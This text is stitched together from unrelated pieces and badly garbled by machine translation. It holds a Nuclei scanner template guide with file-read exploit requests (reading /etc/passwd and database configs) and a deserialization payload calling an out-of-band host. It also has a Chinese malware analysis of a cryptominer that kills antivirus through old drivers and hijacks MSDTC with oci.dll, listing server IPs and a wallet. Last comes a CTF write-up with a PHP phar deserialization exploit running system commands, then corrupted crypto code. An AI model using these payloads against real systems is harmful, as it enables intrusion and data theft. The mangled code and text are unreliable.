user-agent: 'mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、yike gecko)chrome/114.0.0.0 safari/537.36'

Matchers:

-Type:ステータス#マッチバックパックステータス

Status:

-200

-Type: REGEX #Match戻りコンテンツ

パート:ボディ

regex:

- 'root:x:0:0:root3360/root3360/bin/bash'

iv。スクリプト構成

1。開始

id: landray-oa-fileread

info:

name: landray-oa-fileread

著者:バックライオン

重大度:高

説明: |

lanling oa custom.jspランダムなファイルの読み取りの脆弱性、このoaは比較的少数です

fofa: app='landray-oa system'

Reference: https://github.com/backslion

tags: fileread、landray

2.request

を取得します

リクエスト:

-Method: GET

PATH:

- '{{baseurl}}/seeyon/webmail.do?method=dodownloadattfilename=index.jspfilepath=./conf/datasourcectp.properties'

post

requests:

-Method:投稿

PATH:

- '{{baseurl}}/sys/ui/extend/varkind/custom.jsp'

Headers:

Content-Type:アプリケーション/x-www-form-urlencoded

body: 'var={' body': {'file':'file: ///etc/passwd'}} '

raw

requests:

-Raw:

- |

post /spirit/interface/gateway.php http/1.1

host: {{hostname}}

Content-Type:アプリケーション/x-www-form-urlencoded

json={'url':'/general /././mysql5/my.ini '}

ジャンプ

-method: get

PATH:

- '{{baseurl}}'

Redirects: True

max-redirects: 2

または

リクエスト:

-Raw:

- |

get/zentao/api-getmodel-editor-save-filepath=bote http/1.1

Redirects: True

max-redirects: 3

パス

リクエストの次の部分は、リクエストへのパスです。動的変数は、実行時に動作を変更するパスに配置できます。変数は{{および}}で始まり、ケースに敏感で終わります。

{{hostname}}}:これは、ホスト名を示す一般的に使用される予約済みの単語です。

{{randstr}}:これはランダムな文字列です。

{{rand_int(1,9999)}}}:これは、1〜9999の間でランダムな整数を生成する予約された単語です。

{{baseurl}}:https://example.com3:443/foo/bar.phpなど、完全なベースURLを表します。

{{rooturl}}}:https://example.com:443などのパスとファイルが含まれていないベースURLを表します。

{{host}}:example.comなどのホスト名を表します。

{{port}}:ポート番号、たとえば443を示します。

{{path}}: /seeyon /loginなどのパスを表します。

{{file}}:bar.phpなどのファイル名を表します。

{{Scheme}}:HTTPSなどのプロトコルを表します。

{{hex_decode( '')}}:これは、16進数でデコードされた予約済みの単語です。

MD5():これは、MD5によって変換された予約された単語です

変数値

{{baseurl}} https://example.com:443/foo/bar.php

{{rooturl}} https://example.com:443

{{hostname}} example.com:443

{{host}} example.com

{{port}} 443

{{path}} /foo

{{file}} bar.php

{{Scheme}} https

一撃の停止

一般的なアイデアは、テンプレートに複数のスキャンパスがあるということです。最初にヒットすると、次のいくつかのパスのスキャンが自動的に停止します。もちろん、これは他のテンプレートには影響しません。

リクエスト:

-Method: GET

PATH:

- '{{baseurl}}'

- '{{baseurl}}/login'

- '{{baseurl}}/main'

- '{{baseurl}}/index'

Stop-at-first-match: true

oob

Nuclei V2.3.6のリリース以来、Nucleiは、OOBベースの脆弱性スキャンを実装するために、interact.sh APIの組み込み自動要求関連の使用をサポートしています。リクエストのどこにでも{{Interactsh-url}}を書いて、interact_protocolのマッチャーを追加するのと同じくらい簡単です。核は、テンプレートとの相互作用の相関と、簡単なOOBスキャンを許可することによって生成される要求の相関を処理します。

リクエスト:

-Raw:

- |

get/plugins/servlet/oauth/users/icon-uri?consumeruri=https://{{interationsh-url}} http/1.1

host: {{hostname}}

Java Deserialization

raw:

- |

post /index.faces; jsessionid=x http /1.1

host: {{hostname}}

Accept-Encoding: gzip、deflate

Content-Length: 1882

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Connection:閉じます

Content-Type:アプリケーション/x-www-form-urlencoded

javax.faces.viewState={{generate_java_gadget( 'commons_collection3.1'、 'nslookup {{interact.sh}}'、 'base64')}}}

3.Matcher

Matchers-Condition:および#Realistic操作複数のマッチャーのマッチング結果の操作:および|または同時に条件を満たしています

Matchers:

-Type: DSL #Matcherタイプステータス| Word |サイズ|バイナリ| REGEX | DSL

DSL: #use dslデータマッチング用の構文(!注:より柔軟で複雑なマッチング、推奨)Stringslice

- 'status_code_1==200 status_code_2==302'

- 'all_headers_1==' admin 'all_headers_2==' index ''

condition:と#need上記の2つの条件を同時に満たす

-Type:ワード

Words: #returnパッケージマッチングテキスト(!注:単語タイプはここでより特別です。

- 「admin.php」

- '61646D696E2E706870'

- '{{match_str}}'

Encoding: hex#encoderは、返された抽出されたデータをエンコードし、単語コンテンツに一致します(!注:単語マッチャーのみがサポートされ、ヘックスのみがサポートされています)hex

#次の設定は基本的に一般的です(!注:DSLタイプを除く)

PART:ヘッダー#データが返されるヘッダー|ボディ|設定なしの領域を読み取ります。

条件:または#match結果論理操作と| or

ネガティブ: true#一致する結果と条件を組み合わせることで、より柔軟な組み合わせ方法を実現できます。 true | false

-Type:ステータス

Status:#マッチャータイプと同じ、現在パケットステータスコードintslice、200または302を返しています

-200

-Type: REGEX

regex:#Stringsliceを一致させるデータの規則性を使用します

- '。*\ admin.php。*'

-Type:バイナリ

binary: #sistingsliceを一致させるデータのバイナリを使用します

- '61646D696E2E706870'

-Type:サイズ

size: #returnパケットデータサイズ(注:ボディデータを参照)intslice

-1234

DSLは一般に、以下の組み込み関数を含む複雑な論理的判断に使用されます。

変数名説明例出力データContent_Length

コンテンツ長ヘッダー

content_length

12345

status_code

応答ステータスコード

status_code

200

all_headers

ヘッダー情報に戻ります

身体情報を返します

body_1

header_name

ヘッダーのキー値情報、すべて小文字を返し、 - _に置き換えられます

user_agent

xxxx

header_name

ヘッダーのキー値情報、すべて小文字を返し、 - _に置き換えられます

set_cookie

xxx=

1 概述近期,安天CERT通過網絡安全監測發現了一起新的挖礦木馬攻擊事件,該挖礦木馬從2023年11月開始出現,期間多次升級組件,目前版本為3.0。截止到發稿前,該挖礦木馬攻擊事件持續活躍,感染量呈上升態勢。主要特點是隱蔽性強、反分析、DLL劫持後門和shellcode注入等,因此安天CERT將該挖礦木馬命名為“匿鏟”。

在此次攻擊活動中,攻擊者利用了兩個比較新穎的技術以對抗反病毒軟件,第一個技術是濫用反病毒軟件的舊版本內核驅動程序中的功能來結束反病毒軟件和EDR,這個技術通過一個主體的PowerShell腳本、一個獨立的PowerShell腳本和一個控制器(內存加載的小型可執行文件)來完成,主體的PowerShell腳本用於下載並安裝反病毒軟件的舊版本內核驅動程序,獨立的PowerShell腳本用於解密並內存加載控制器,控制器用來控制內核驅動程序。雖然被濫用的舊版本內核驅動程序早已更新,但目前仍能被非法利用並有效結束大多數反病毒軟件。

第二個技術是利用MSDTC服務加載後門DLL,實現自啟動後門,達到持久化的目的。這個技術利用了MSDTC服務中MTxOCI組件的機制,在開啟MSDTC服務後,該組件會搜索oci.dll,默認情況下Windows系統不包含oci.dll。攻擊者會下載後門DLL重命名為oci.dll並放在指定目錄下,通過PowerShell腳本中的命令創建MSDTC服務,這樣該服務會加載oci.dll後門,形成持久化操作。

經驗證,安天智甲終端防禦系統不會被反病毒軟件的舊版本內核驅動程序所阻斷,也能夠對該後門DLL的有效查殺。

2 攻擊流程“匿鏟”挖礦木馬首先會從放馬服務器上下載名為“get.png”的PowerShell腳本,解碼後執行哈希驗證、創建計劃任務、禁用系統自帶殺毒軟件和創建服務等操作。

之後會下載“kill.png”腳本和“delete.png”、“kill(1).png”兩個壓縮文件,腳本解碼出shellcode代碼,shellcode代碼經過解密得到控制器(一個可執行文件)並註入到powershell.exe進程中,兩個壓縮文件經過解壓縮得到反病毒廠商的舊版本內核驅動程序“aswArPots.sys”和“IObitUnlockers.sys”,由控制器調用,終止殺毒軟件和EDR程序等。還會根據受害主機自身系統型號下載對應的“86/64.png”的壓縮文件,解壓縮後會得到oci.dll文件,通過MSDTC服務調用實現DLL劫持後門。

在“get.png”腳本中還看到了下載“backup.png”腳本的地址,但下載函數還未實現,可能後續版本會加,該腳本主要功能是發送心跳接收命令等。最後“get.png”腳本會下載“smartsscreen.exe”程序,該程序會下載挖礦程序及其組件進行挖礦。

图 2 1 攻击流程图.jpg

圖2‑1 攻擊流程圖

3 樣本梳理與功能分析3.1 樣本梳理針對該挖礦木馬攻擊,對其樣本及功能進行梳理,如下表所示:

表3‑1 樣本及功能梳理

樣本名

落地名

樣本路徑

功能

get.png

不落地

內存中

初始投放載荷,下載後續樣本,持久化

backup.png

初始投放載荷沒有定義下載該樣本,推測後續增加

run.bat

run.bat

C:\Users\Public

powershell命令下載get.png

kill.png

不落地

powershell.exe內存中

終止殺毒軟件和EDR等進程

kill.png(1)

aswArPots.sys

C:\Windows\System32\drivers

delete.png

IObitUnlockers.sys

C:\Windows\System32\drivers

強制刪除文件和進程

86.png/64.png

oci.dll

C:\Windows\System32

DLL劫持後門

smartsscreen.png

smartsscreen.exe

C:\Windows\Fonts

下載挖礦程序等

curl.png

curl.exe

C:\Windows\Fonts

curl官方文件

config.json

config.json

C:\Windows\Fonts

挖礦配置文件

taskhostw.png

taskhostw.exe

C:\Windows\Fonts

XMRig挖礦程序

WinRing0x64/32.png

WinRing0x64/32.sys

C:\Windows\Fonts

挖礦驅動程序

config.txt

不落地

包含版本信息及樣本哈希

表3‑2 挖礦程序中的礦池地址和錢包地址

礦池地址

錢包地址

111.90.143.130:80

ZEPHYR2ty7pYE3wUdjLn1QKsFLiatXdMZHZzQSJToaoFM1LvWPzuqsvdtLzXRRk2hhFTxLCvLnAr4XJBCvrVfUeP8F6XC7QLgza47

93.95.228.47:80

zephyr.herominers.com:1123

3.2 樣本功能分析3.2.1 核心腳本模塊分析(get.png)利用系統自帶的工具刪除指定計劃任務、結束指定進程和停止指定服務,疑似清理與其存在競爭關係的挖礦木馬持久化操

图 3 1 删除计划任务等.jpg

圖3‑1 刪除計劃任務等

遍歷所有可能的驅動器字母(從A到Z),檢查每個驅動器是否有足夠的可用空間。如果找到符合條件的驅動器,則返回該驅動器的名稱,如果遍歷完所有驅動器都沒有找到,則返回空。

图 3 2 遍历驱动器.jpg

圖3‑2 遍歷驅動器

清理C:\Windows\Installer目錄中的空間,查找該目錄中最大的文件。搜索C:驅動器根目錄和除了一些系統目錄之外的所有子目錄中具有特定擴展名(.exe、msi、iso、7z、rar、zip)的最大文件。如果找到了最大的文件,將其刪除,以便釋放空間。

图 3 3 释放空间.jpg

圖3‑3 釋放空間

定義了所需的空間量為10MB,如果找到了一個合適的驅動器,函數將嘗試創建一個隱藏的目錄\$RECYCLE.BIN\Fonts來保存文件。

图 3 4 下载文件存放位置.jpg

圖3‑4 下載文件存放位置

嘗試通過DoH服務獲取域名對應的IP地址,如果失敗,則嘗試使用傳統的DNS查詢方法。如果兩種方法都失敗,則使用備份的IP地址。目的是確保可以獲取到用於HTTP和FTP下載的域名的IP地址。

图 3 5 获取域名对应IP地址.jpg

圖3‑5 獲取域名對應IP地址

通過字符串替換操作來更新配置信息,以確保配置文件中的下載地址與實際的下載服務器地址一致。添加一個時間戳參數,通常用於確保每次請求都會加載最新的內容,而不是從緩存中加載。將HTTP地址轉換為FTP地址,並移除了可能存在的時間戳參數。

图 3 6 更新配置信息.jpg

圖3‑6 更新配置信息

創建多個計劃任務,分別執行後續下載到的載荷。計劃任務名分別為“OneDriveCloudSync”、“DefaultBrowserUpdate”、“OneDriveCloudBackup”,分別對應執行更新程序、自身文件、smartsscrren.exe。

图 3 7 创建计划任务.jpg

圖3‑7 創建計劃任務

清理自身舊的進程。

图 3 8 清理自身旧的进程.jpg

圖3‑8 清理自身舊的進程

從遠程服務器獲取配置信息,並確保配置信息中的某些字符串哈希值存在。如果這些字符串存在,函數將停止循環,並繼續執行後續的腳本操作。如果字符串不存在,嘗試使用FTP協議再次下載配置信息。

图 3 9 验证配置信息是否一致.jpg

圖3‑9 驗證配置信息是否一致

配置信息如下,其中包括curl、xm、xmc、xms、smart、scan、ms86、ms64、dkill和ddelete字符串。

图 3 10 配置信息.jpg

圖3‑10 配置信息

禁用Windows Defender的實時監控,關閉rpc服務,清理系統的垃圾文件和日誌等。

图 3 11 禁用系统自带杀毒软件.jpg

圖3‑11 禁用系統自帶殺毒軟件

從指定的URL下載文件並保存到C:\Windows\System32\drivers,創建並啟動名為aswArPots和IObitUnlockers的服務。

图 3 12 创建服务.jpg

圖3‑12 創建服務

停止並重啟MSDTC服務,將下載的適用於主機系統的x86.png或x64.png重命名為oci.dll並保存在C:\Windows\System32中,通過MSDTC服務實現DLL劫持後門。

图 3 13 DLL劫持后门.jpg

圖3‑13 DLL劫持後門

最後下載並運行多個後續組件,具體如圖所示。

图 3 14 下载后续组件.jpg

圖3‑14 下載後續組件

3.2.2 遠控模塊分析(backup.png)該腳本用於將日期時間、受害者主機名進行2次BASE編碼並回傳至攻擊者服務器,不斷地向服務器發送心跳信號,接收命令,執行這些命令,並將命令的輸出結果發送回服務器。

图 3 15 发送心跳包等至服务器.jpg

圖3‑15 發送心跳包等至服務器

3.2.3 對抗模塊分析(kill.png)該腳本實際為壓縮和BASE64編碼後的PowerShell腳本,該腳本會解密多層載荷,並在最後將一段shellcode代碼注入到powershell.exe進程中。

图 3 16 进程注入.jpg

圖3‑16 進程注入

shellcode會解密內嵌的一段PE再次實現內存加載。最終加載的PE數據為白名單驅動利用模塊,該模塊會偽裝白名單通信的驅動協議,操縱底層驅動利用系統權限刪除、終止指定的進程或文件,大部分進程為殺毒軟件、防火牆、沙箱等安全軟件的核心進程。該可執行文件旨在整理正在運行的進程列表,然後將它們與Anti-Virus和EDR進程名稱的CRC64校驗和值的混淆硬編碼列表進行比較。如果任何進程名稱與硬編碼列表中的條目直接關聯,則會將I/O控制(IOCTL)代碼發送到Avast驅動程序,從而導致進程終止。部分被列入攻擊者處理名單的進程名如下:

图 3 17 反杀毒软件驱动.jpg

圖3‑17 反殺毒軟件驅動

3.2.4 自我更新模塊分析(86/64.png)msdtc目錄下具有兩個文件:“86.png”、“64.png”。分別對應32位環境與64位環境,兩個樣本在代碼結構方面完全一致,僅在編譯時選擇的目標系統位數不同。該文件僅負責從攻擊者服務器重新下載“get.png”並執行,用於自我更新。

图 3 18 自我更新下载get.png

圖3‑18 自我更新下載get.png

3.2.5 挖礦組件下載器模塊分析(smartsscreen.exe)該文件為挖礦組件的下載模塊,由Golang語言開發,運行後會訪問攻擊者服務器下載挖礦各個組件等。

图 3 19 下载后续挖矿组件.png

圖3‑19 下載後續挖礦組件

該組件運行後會訪問攻擊者服務器下載“config.txt”、“curl.png”用於校驗挖礦組件HASH與下載挖礦組件。隨後分別訪問下載XMRig官方開源挖礦組件。其中“taskhostw.png”為挖礦程序,“config.json”為挖礦配置文件,“WinRing0x64.png”為XMRig運行所需驅動。

图 3 20 下载挖矿组件网络数据.png

圖3‑20 下載挖礦組件網絡數據

4 挖礦木馬落地排查與清除方案4.1 挖礦木馬落地識別1. 計劃任務計劃任務名

對應樣本路徑

DefaultBrowserUpdate

C:\Users\Public\run.bat

OneDriveCloudBackup

cmd.exe /c start C:\Windows\Fonts\smartsscreen.exe

OneDriveCloudSync

cmd.exe /c C:\Windows\System32\sc.exe start msdtc

2. 文件文件名

路徑

smartsscreen.exe

C:\Windows\Fonts

taskhostw.exe

WinRing0x64/32.sys

curl.exe

config.json

run.bat

C:\Users\Public\run.bat

oci.dll

C:\Windows\System32

aswArPots.sys

C:\Windows\System32\drivers

IObitUnlockers.sys

3. 服務服務名

對應註冊表

MSDTC

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSDTC

4. 進程進程名

路徑

powershell.exe

內存執行

smartsscreen.exe

C:\Windows\Fonts

taskhostw.exe

5. 網絡IP

功能

111.90.158.40

掛馬服務器

111.90.143.130:80

礦池地址

93.95.228.47:80

4.2 清除方案建議採用安天系統安全內核分析工具(ATool)*免費版(下載地址:https://vs2.antiy.cn/)進行檢測查殺,首先刪除三個計劃任務,計劃任務名為DefaultBrowserUpdate、OneDriveCloudBackup和OneDriveCloudSync。

图 4 1 删除计划任务.png

圖4‑1 刪除計劃任務

結束相應進程,smartsscreen.exe、taskhostw.exe和powershell.exe。

图 4 2 结束相应进程.png

圖4‑2 結束相應進程

刪除挖礦程序等對應目錄中的樣本。

图 4 3 删除对应目录样本.png

圖4‑3 刪除對應目錄樣本

刪除對應的驅動文件,aswArPots.sys和IObitUnlockers.sys。重啟MSDTC服務,如不是自身創建,可對應刪除該服務。

图 4 4 删除对应驱动文件.png

圖4‑4 刪除對應驅動文件

5 事件對應的ATTCK映射圖譜針對攻擊者投放挖礦木馬的完整過程,安天梳理本次攻擊事件對應的ATTCK映射圖譜如下圖所示。

图 5 1 事件对应的ATT&CK映射图谱.png

圖5‑1 事件對應的ATTCK映射圖譜

攻擊者使用的技術點如下表所示:

表5‑1 事件對應的ATTCK技術行為描述表

ATTCK階段/類別

具體行為

註釋

執行

利用命令和腳本解釋器

使用PowerShell腳本命令

持久化

執行流程劫持

利用oci.dll劫持

利用計劃任務/工作

創建計劃任務

防禦

朝のCTFパート

web

simplelogin

Yakitはパスワードを破裂させました。A123456であることを忘れないでください。

bj2imghbp4r11166.png

pppp

index.phpには任意のファイルがあります:

?php

//upload.php

error_reporting(0);

highlight_file(__ file__);

クラスA {

public $ a;

パブリック関数__Destruct()

{

$ s=$ this- $ a;

$ s();

}

}

クラスB {

public $ cmd;

function __invoke(){

$ this-start()を返します。

}

function start(){

エコーシステム($ this-cmd);

}

}

if(isset($ _ get ['file'])){

if(strstr($ _ get ['file']、 'flag')){

die( 'get out!');

}

echo file_get_contents($ _ get ['file']);

}

upload.php:を読んでください

! - ?php

error_reporting(0);

if(isset($ _ files ['file'])){

mkdir( 'upload');

$ uid=uniqid();

$ ext=Explode( '。'、$ _ files ['file'] ['name']);

$ ext=end($ ext);

move_uploaded_file($ _ files ['file'] ['tmp_name']、 'upload/'.$ uuid。'。png ');

echo'uploadsuccess!filepath:upload/'.$ uuid。 '。png';

} -

アップロードされたファイルは.pngに変更されます

PHARファイルをアップロードし、ホームページにfile_get_contentsを使用してDeserialization実行コマンドをトリガーしてみてください。

//phar.php

?php //phar.php

classa {

public $ a;

publicFunction__Destruct()

{

$ s=$ this-a;

$ s();

}

}

classb {

public $ cmd;

function__construct(){

$ this- $ cmd='catflag';

}

function__invoke(){

$ this-start()を返します。

}

functionstart(){

System($ this-cmd);

}

}

$ b=newb();

$ b-cmd='cat/flag';

$ a=newa();

$ a-a=$ b;

@unlink( 'phar.phar');

$ phar=newpar( 'phar.phar'); //接尾辞はpharでなければなりません

$ phar-startbuffering();

$ phar-setstub( '?php__halt_compiler();'); //Set Stub

$ phar-setmetadata($ a); //カスタムメタデータをマニフェストに保存します

$ phar-addfromstring( 'a.txt'、 'abb'); //ファイルを追加して圧縮します

$ phar-stopbuffering(); //署名は自動的に計算されます

アップロードとアクセス:

w5mfoegz32k11169.png

Misc

ftp

トラフィック抽出zip、そしてパスワードは同じパスワードパスワード1234567890です。

ktcczuj04bt11172.png

crypto

baby_words with Buddha

AES、しかしXORの後、結果は文字に変換されるので、それを元に戻してAESを解くことができます

rushiwowen=[

'无', 'mu', 'monk', 'room', 'art', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'

'未'、 'li'、 'blin'、 'due'、 'mul'、 '妊娠'、 'san'、 'black'、 'naked'、 'bean'、 'special'、 'div'、 'reach'、 'regent'、 'length'、 'lengs'、 'length'、 'length'、 'length'、

「書かれた」、「番号」、「責任」、「尊敬」、「ro」、「rot」、「尊敬」、「尊敬」、「尊敬」、「尊敬」、「3」、「bing」、「bing」、 'no'、 '責任者、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」」 「責任」、「責任」、「責任」、

「洞察」、「思考」、「夢」、「削除」、「恐ろしい」、「抑制」、「抑制」、「抑制」、「抑制」、「抑制」、「意志」、「知恵」、「古い」、「」、「」、

'Roar'、 'foot'、 'you'、 'wang'、 'you'、 'won'、 'mu'、 'mu'、 'light'、 'protect'、 'jin'、 'harmony'、 'going'、 'treasure'、 'win'、 'tong'、 'won'、 'win'、 'Tong'、

「薬」、「教師」、「小さな」、「生きている」、「純粋」、「取引」、「マウンテン」、「グッド」、「パス」、「go」、「7」、「 'not'、 'come'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 '

'cause'、 'huldine'、 'five'、 '100'、 'ten000'、 'flowers'、 'buillions'、 'decision'、 'six'、 'fang'、 'name'、 'name'、 'tong'、 'yue'、 'yun'、 'dian'、 'miracle'、

'Zun'、 'tree'、 'root'、 'west'、 'soap'、 'flame'、 'north'、 'qing'、 'number'、 'element'、 '改善'、 'head'、 'silence'、 'momation'、 'element'、 'fore'、 'felement'、 'ement'、 'form'、 'fement'、 'felem'、 '' '' '' '、' feneme '、' '' ''、 'fenemen

'do'、 'shi'、 'ga' '' '、' ni '、' le '、' a '、' du '、' zhong '、' yang '、' Zhong '、' Zhong '、' Zhong '、' Zhong、 'Zhong、' Zhong '、' Zhong '、' Zhong ' 「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」 「Zhong」、「Zhong」

「アクション」、「空き」、「空き」、「思いやり」、「心配」、「誰か」、「満足」、「安定」、「休息」、「day」、「夜」、「栽培」、

'hold'、 'heart'、 'seeking'、 'ricitation'、 'ricitation'、 'this'、 'sutra'、 'エネルギー、「死」、「排除」、「排除」、「有毒」、「害」、「ハイ」、「ハイ」、「オープン」、「テキスト」、「テキスト」、

'super'、 'lift'、 'cool'、 'if'、 '思考'、 'that'、 '' '、' '' '、' emperor '、' vi '、' true '、' ling '、' qian '、' shu '、' ha '、'尊敬'、

「贈り物」、「風水」、「先祖」、「ファースト」、「親の敬iety」、「ダブル」、「私のマスター」、「滞在」、「私のマスター」、「愛」、「兄弟」、「兄弟」、「最初」、「友人」、「友人」、「友人」、「友人」、

「音楽」、「禅」、「一族」、「私の」、「私の」、「私の」、「教育」、「太陽」、「タイム」、「タイヤ」、「バルス」、「陰」、「Yin」、「困難」、「経済」、

'urgent', 'soft', 'soft', 'shoulder', 'creation', 'soft', 'soft', 'shu', 'shu', 'shu', 'shu', 'creation', 'repet', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 '

「キル」、「リリース」、「ブリッジ」、「ロード」、「コーブ」、「小さな」、「ドロー」、「ドロー」、「ドロー」、「ドロー」、「スリープ」、「スイープ」、「スイープ」、「スイープ」、「スイープ」、「スイープ」、「ドン」、「投資」、「投資」、

enc='愛を暗唱する人は、メンザバオを守り、心の嘘の嘘の嘘を嘘をついて、心の嘘を殺し、心配し、心配し、嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘を暗唱しています嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘シュー嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘は

dec=b ''

enc3360のiの場合

Dec +=(rushiwowen.index(i) ^ 64).to_bytes(1、 'Little')

key=b'dasctf@key@^_^@encode !仏! '

iv=b'iv | dasctf | ovo | iv '

crypto.cipher Import AESから

crypto.util.paddingインポートパッドから、unpad

cryportor=aes.new(key、aes.mode_cbc、iv)

#padded_data=pad(data.encode( 'utf-8')、aes.block_size)

encrypted_data=cryptor.decrypt(dec)

print(encrypted_data)

s3abxtxe03p11175.png

re

normalandroid

JADXを開くと、1つの関数のみを呼び出して、IDAを見て、過去にそれを見てください。

exi25n4sprd11180.png

キーのようなものを見て、キーを変換できます。

20rjzldbqra11182.png

表面:

tsm3m2jgzaj11185.png

表面

ptnoymh0upw11187.png

次に、AES暗号化である暗号化ロジックを入力し、Sボックスは過去に変更されました。

je1s1ha2ywp11188.png

したがって、AESによって実装されたコードを見つけてSボックスを変更し、変換されたキーを使用して復号化します。ネットワークの競争が遮断されたため、当時はスクリプトが保存されていなかったので、私はそれを作りませんでした:

fromcrypto.util.numberimportlong_to_bytes、bytes_to_long

#https://github.com/bozhu/aes-python/blob/master/aes.py

sbox=(

0xbe、0xb4,0x9f、0x70,0xdb、0xad、0x31,0x30,0x6c、0x87、0x87

0x74,0x27,0xc9,0x4c、0x67,0x62,0x0a、0x36,0x08,0xc8、

0x96,0x32,0x00,0xf1,0x38,0x65,0xec、0xed、0x44,0x25、

0xaa、0x33,0x86,0xef、0x0d、0x19,0x7d、0xd5,0x45,0xfb、

0x8d、0x61,0xfe、0x50,0x47,0x7e、0x7c、0xf9,0x01,0xde、

0xff、0xe1,0xac、0x5d、0xb5,0x8e、0x48,0xbf、0x90,0x9d、

0x79,0xcb、0xa6,0xa9,0xfc、0x34,0xcf、0x63,0x5a、0x99、0x99、

0x98,0xb8,0x92,0x2d、0x02,0x89,0x2c、0x3b、0x15,0x72、0x15,0x72

0x5e、0x60,0x29,0x6f、0x0b、0x24,0x6d、0x1c、0x5b、0xe0、

0x37,0xa4,0xcc、0x12,0x93,0xa7,0x09,0xc6,0xb6,0x8f、

0x04,0x20,0xe8,0x46,0xb1,0xae、0x3a、0x68,0x81,0xce、

0x2b、0x0c、0xb3,0x3e、0xc0,0x0e、0x4d、0xd8,0xd2,0xa2、

0x9e、0x56,0x28,0xb0,0x35,0x1b、0x5f、0xf5,0x05,0xbc、

0x3c、0x4f、0x8c、0xe6,0xf6,0x75,0xf4,0xf8,0xdd、0x11、

0xc1,0xb9,0x4e、0x97,0xd6,0xf2,0xe4,0xd1,0x82,0xd3、

0x03,0x8b、0x4b、0xca、0x64,0xeb、0xab、0x71,0xa1,0xba、

0xa8,0x6a、0x1e、0x1a、0xa5,0x49,0x6e、0x53,0x66,0x39、

0x51,0xe9,0x26,0xc4,0xda、0x55,0x3f、0xea、0x85,0x8a、0x85,0x8a、

0xd9,0x13,0x69,0x1f、0xe2,0x7f、0x2f、0xc5,0x88,0x57、

0x73,0xa3,0xe3,0x0f、0xbb、0x18,0xe5,0x42,0x22,0x52、

0x43,0x80,0x2a、0x6b、0x17,0xd7,0x23,0x06,0x58,0x1d、

0x7a、0x84,0xe7,0xee、0xd0,0x41,0xd4,0xbd、0xa0,0xc3、

0xc2,0xfd、0x21,0x54,0xdf、0x7b、0xb7,0xf0,0xb2,0x77、

0x3d、0x07、0x78、0x16、0x9c、0x59、0xaf、0x2e、0x83、0xfa、

0x9b、0x95,0xf7,0x40,0x94,0xf3,0xcd、0xc7,0x91,0x10、

0xdc、0x4a、0x14、0x9a、0x5c、0x76

))

invsbox=[sbox.index(i)foriinrange(256)]

#Learntfromhttp://cs.ucsb.edu/〜koc/cs178/projects/jt/aes.c

Xtime=lambdaa:((((a1)^0x1b)0xff)if(a0x80)else(a1)

rcon=(

0x00,0x01,0x02,0x04,0x08,0x10,0x20,0x40、

0x80,0x1b、0x36,0x6c、0xd8,0xab、0x4d、0x9a、0x9a、

0x2f、0x5e、0xbc、0x63、0xc6、0x97、0x35、0x6a、

0xd4、0xb3、0x7d、0xfa、0xef、0xc5、0x91、0x39、0x39、

))

deftext2matrix(テキスト):

Matrix=[]

Foriinrange(16):

byte=(text(8*(15-i)))0xff

ifi%4==0:

matrix.append([byte])

else:

マトリックス[i //4] .append(byte)

ReturnMatrix

defmatrix2Text(Matrix):

テキスト=0

Foriinrange(4):

Forjinrange(4):

テキスト|=(matrix [i] [j](120-8*(4*i+j)))

returnText

classaes:

def__init __(self、master_key):

self.change_key(master_key)

defchange_key(self、master_key):

self.round_keys=text2matrix(master_key)

#self.round_keys

Foriinrange(4,4*11):

self.round_keys.append([])

ifi%4==0:

byte=self.round_keys [i-4] [0] \

^sbox [self.round_keys [i-1] [1]] \

^rcon [i //4]

self.round_keys [i] .append(byte)

Forjinrange(1,4):

byte=self.round_keys [i-4] [j] \

^sbox [self.round_keys [i-1] [(j+1)%4]]

self.round_keys [i] .append(byte)

else:

Forjinrange(4):

byte=self.round_keys [i-4] [j] \

^self.round_keys [i-1] [j]

self.round_keys [i] .append(byte)

#self.round_keys

defencrypt(self、plantext):

self.plain_state=text2matrix(plantext)

self .__ add_round_key(self.plain_state、self.round_keys [:4])

Foriinrange(1,10):

self .__ round_encrypt(self.plain_state、self.round_keys [4*i:4*(i+1)))

self .__ sub_bytes(self.plain_state)

self .__ shift_rows(self.plain_state)

self .__ add_round_key(self.plain_state、self.round_keys [40:])

